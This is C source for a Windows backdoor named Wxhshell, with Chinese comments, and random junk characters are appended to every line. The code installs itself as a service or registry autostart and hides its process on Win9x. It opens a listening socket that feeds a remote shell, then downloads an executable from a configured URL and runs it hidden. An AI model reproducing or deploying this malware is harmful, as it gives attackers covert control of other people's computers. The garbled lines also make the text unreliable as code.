DWORD BasePriority; ]ChGi[B~9
ULONG UniqueProcessId; ]%Db %A
ULONG InheritedFromUniqueProcessId; :`Z'vRj
} PROCESS_BASIC_INFORMATION; m9Pzy^g1
,f[`C-\Q%
PROCNTQSIP NtQueryInformationProcess; 3*v&6/K
Gg,&~
jHib
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gP13n!7
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '(6
^O=
>V,i7v*?
HANDLE hProcess; Z=I+_p_G
PROCESS_BASIC_INFORMATION pbi; jYxmU8
B-.QGf8K.
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VoGyjGt&
if(NULL == hInst ) return 0; o-}q|tD$<
=/Lwprj
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L>ruNw'-K
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _u]S/X-
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^&|KuI+u
n>o0PtGxC
if (!NtQueryInformationProcess) return 0; o4U[;.?c
Z'<I
Is:J
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R'z
-#*[
if(!hProcess) return 0; ir?Y>
=qNZ7>Qw
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5*#3v:l/9
4iPxtVT
CloseHandle(hProcess); -Uo"!o>x|
CKuf'h#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 37U2Tb!y'
if(hProcess==NULL) return 0; LP{@r ic
.wPu
#*
HMODULE hMod; |bM?Q$>~
char procName[255]; S [=l/3c
unsigned long cbNeeded; T1_qAz+
ssUm1F\
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \Um &
O={
?c1i:
CloseHandle(hProcess); GEGg
S&SM
Ir4M5OR\
if(strstr(procName,"services")) return 1; // 以服务启动 U 6`E\?d`
+ 2j]
return 0; // 注册表启动 [$]Kp9YD
} g-NfZj?
=
a54
// 主模块 `*ml/% \
int StartWxhshell(LPSTR lpCmdLine) }~bx==SF6!
{ 1=^edQ+
SOCKET wsl; BIn7<.&
BOOL val=TRUE; ;XDGlv%
int port=0; OGGuV Y
struct sockaddr_in door; 7.!`c-8
u
fEYo<@5c]
if(wscfg.ws_autoins) Install(); |K11Woii
Y )](jU%o
port=atoi(lpCmdLine); wQR0R~|M
rl0|)j
if(port<=0) port=wscfg.ws_port; NNTUl$
5n#@,V.O/
WSADATA data; a'prlXr\4
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (q+EP(Q
`/+PZqdC
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?c0@A*:o
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 92pl#Igt
door.sin_family = AF_INET; qCUn.
mI
door.sin_addr.s_addr = inet_addr("127.0.0.1"); vbMt}bM(GD
door.sin_port = htons(port); Dxx`<=&g
JZom#A.
dt
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eI:;l];G9
closesocket(wsl); :WM[[LOaC
return 1; ns}"[44C}l
} q*pWx]Y
=e!o
if(listen(wsl,2) == INVALID_SOCKET) { o8h1
closesocket(wsl); w.9'TR
return 1; w`a(285s)i
} iL\eMa
Wxhshell(wsl); <`Q*I
Y
WSACleanup(); QBwgI>zfS"
j{ :>"6
return 0; lr-:o@q{
kA/V=xO<
} \66j4?H#
r_EuLFM A
// 以NT服务方式启动 \NTNB9>CO
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fo$Ac
{ bPhb d
DWORD status = 0; !3JYG
DWORD specificError = 0xfffffff; S1Ql%Yk-(
Wti?J.Csc
serviceStatus.dwServiceType = SERVICE_WIN32; SGA!%=Lp
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^Ss4<
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r!WXD9#
serviceStatus.dwWin32ExitCode = 0; etD8S KD
serviceStatus.dwServiceSpecificExitCode = 0; `a:L%Ex
serviceStatus.dwCheckPoint = 0; dxwH C\"5
serviceStatus.dwWaitHint = 0; =c1t]%P,
0f]LOg
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u''~nSR3&
if (hServiceStatusHandle==0) return;
k\wcj^"cb
)<8f3;qd
status = GetLastError(); A3cW8OClz
if (status!=NO_ERROR) "<LVA2v;
{ 0//B+.#
serviceStatus.dwCurrentState = SERVICE_STOPPED; tc4"huG
serviceStatus.dwCheckPoint = 0; #5a'Z+
serviceStatus.dwWaitHint = 0; &
~*qTojj
serviceStatus.dwWin32ExitCode = status; Btu=MUS
serviceStatus.dwServiceSpecificExitCode = specificError; qL1d-nH
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dXvp-oi
return; *]]C.t-cd
} du0]LiHV
7Ew.6!s#n1
serviceStatus.dwCurrentState = SERVICE_RUNNING; r1o_i;rg
serviceStatus.dwCheckPoint = 0; @c{rqa
v
serviceStatus.dwWaitHint = 0; V/@?KC0B5
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'D1Sm&M2%e
} :!nBTw
QZ:xG:qyk;
// 处理NT服务事件,比如:启动、停止 hJIF!eoI
VOID WINAPI NTServiceHandler(DWORD fdwControl) u{>_Pb
{ X1GpLy)p
switch(fdwControl) RLtIn!2OU
{ @cT= t0*
case SERVICE_CONTROL_STOP: wEp*j+Mmce
serviceStatus.dwWin32ExitCode = 0; mE+
serviceStatus.dwCurrentState = SERVICE_STOPPED; X&+*?Q^
serviceStatus.dwCheckPoint = 0; `*to(
)
serviceStatus.dwWaitHint = 0; hD I}V1)
{ xO nW~Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( /):
} (RtjD`e}
return; Y\pRk6,
case SERVICE_CONTROL_PAUSE: 5lp};
serviceStatus.dwCurrentState = SERVICE_PAUSED; IQ3]fLb
break; R]8^
@i1
case SERVICE_CONTROL_CONTINUE: $k=5nJ
serviceStatus.dwCurrentState = SERVICE_RUNNING; x-3!sf@
break; ( 8}'JvSu
case SERVICE_CONTROL_INTERROGATE: hr)CxsPoRQ
break; u>U4w68
}; \XI9 +::%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); A0hfy|1#L
} w:~Y@b~D
gY=Ry=w9
// 标准应用程序主函数 JMa[Ulz
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }G50?"^u
{ (K>=!&tlp=
yxpDQO~x
// 获取操作系统版本 vs|_l!n3
OsIsNt=GetOsVer(); N)rf/E0
GetModuleFileName(NULL,ExeFile,MAX_PATH); IC:wof "
$*Z Zh
// 从命令行安装 mhXSbo9w-
if(strpbrk(lpCmdLine,"iI")) Install(); ygz6 ~(
Q#$#VT!F
// 下载执行文件 qp6*v&
if(wscfg.ws_downexe) { 83ajok4E
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZKT~\l
WinExec(wscfg.ws_filenam,SW_HIDE); $4j$c|S!
} 3-T}8VsiP
qauZ-Qoc9
if(!OsIsNt) { 01P ~K|s
// 如果时win9x,隐藏进程并且设置为注册表启动 :?}U Z#
HideProc(); &D[pX|!
StartWxhshell(lpCmdLine); dU4G!
} D" 4*&
else %^C.e*
if(StartFromService()) V;V,G+0Re
// 以服务方式启动 OSsxO(;g
StartServiceCtrlDispatcher(DispatchTable); aYyUe>
else },=0]tvZG#
// 普通方式启动 O^AF+c\n
StartWxhshell(lpCmdLine); cIIt ;q[
[3#A)#kWm
return 0; e~wJO~
}